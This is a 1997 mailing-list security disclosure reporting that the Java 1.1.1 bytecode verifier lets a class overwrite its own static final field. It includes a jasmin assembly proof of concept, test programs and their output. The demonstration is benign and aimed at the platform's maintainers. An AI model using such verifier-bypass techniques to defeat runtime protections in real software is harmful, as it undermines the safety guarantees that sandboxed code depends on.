Message-Id: <3.0.32.19970530112529.0068df28@homer.communities.com>
Date: Fri, 30 May 1997 11:25:32 -0700
To: java-security@web2.javasoft.com, kimera@cs.washington.edu,
From: Bill Frantz <frantz@communities.com>
Subject: New(?) bytecode verification weakness
Apologies if you get a similar message. My Windows95 system crashed as I
was sending the previous version, and the one I sent did not appear in my
"out" file.
I believe I have found a new weakness in the java bytecode verifier in
java version 1.1.1. I have only tested it on a Sparc running Solaris.
The weakness is that the bytecode verifier does not adequately check that
a "final" field is actually final in the class in which it is defined. I
have managed to run a class (coded in assembler) which includes a method
which changes a field declared as final.
I would like to thank Jon Meyer for making the jasmin assembler
<<http://www.mrl.nyu.edu/meyer/jasmin/> available.
Note that I am using styled text to separate commentary from code
examples. I hope it does not cause bad effects on your mail agent.
<bold>Here is the jasmin source for the badguy class:
</bold>host% cat examples/FinalTest.j
.class public examples/FinalTest
.super java/lang/Object
.field static final foo Ljava/lang/Integer;
;
; standard initializer
.method public <<init>()V
aload_0
invokenonvirtual java/lang/Object/<<init>()V
return
.end method
.method public static <<clinit>()V
.limit stack 3
new java/lang/Integer
dup
iconst_1
invokenonvirtual java/lang/Integer/<<init>(I)V
putstatic examples/FinalTest/foo Ljava/lang/Integer;
return
.end method
.method public static putFoo(Ljava/lang/Integer;)V
.limit stack 1
aload_0
putstatic examples/FinalTest/foo Ljava/lang/Integer;
return
.end method
<bold>This assembly file is the equivalent of:
</bold>
package examples;
class FinalTest {
static final Integer foo = new Integer(1);
public static void putFoo(Integer i) {
foo = i;
}
}
<bold>The test program and its execution:
</bold>host% cat examples/Test.java
package examples;
public class Test {
public static void main(String[] args) {
System.out.println("foo = " + FinalTest.foo.toString());
FinalTest.putFoo(new Integer(2));
System.out.println("foo = " + FinalTest.foo.toString());
}
}
host% java -verify examples.Test
foo = 1
foo = 2
<bold>Another test which was compiled when foo was not declared "final"
(If foo is declared final in the jasmin source, then Set gets a compile
time error.) This example shows that the field is correctly checked when
accessed from another class:
</bold>host% cat examples/Set.java
package examples;
public class Set {
public static void main(String[] args) {
FinalTest.foo = new Integer(2);
System.out.println("foo = " + FinalTest.foo.toString());
}
}
host% java -verify examples.Set
java.lang.IllegalAccessError: examples.FinalTest: field foo is final
at examples.Set.main(Set.java:6)
Bill Frantz Electric Communities
Capability Security Guru 10101 De Anza Blvd.
frantz@communities.com Cupertino, CA 95014
408/342-9576 http://www.communities.com